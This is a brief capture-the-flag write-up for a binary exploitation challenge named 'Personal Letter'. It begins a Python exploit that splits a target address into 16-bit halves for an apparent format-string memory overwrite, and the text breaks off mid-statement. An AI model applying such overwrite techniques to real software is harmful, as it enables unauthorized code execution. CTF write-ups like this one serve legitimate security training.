Rating:
# Personal Letter
**Category:** Binary Exploitation
**Points:** 160
**Description:**
> Have you ever gotten tired of writing your name in the header of a letter? Well now there's a program (source)to do it for you! Navigate to /problems/letter/ on the shell server to try your exploit out!
## Write-up
```python
import struct
number = 0x804872b
addr = 0x0804a02c
towritel = (number & 0xFFFF)
towriteh = ((number & 0xFFFF0000)>>16)
payload = ""
payload += struct.pack('
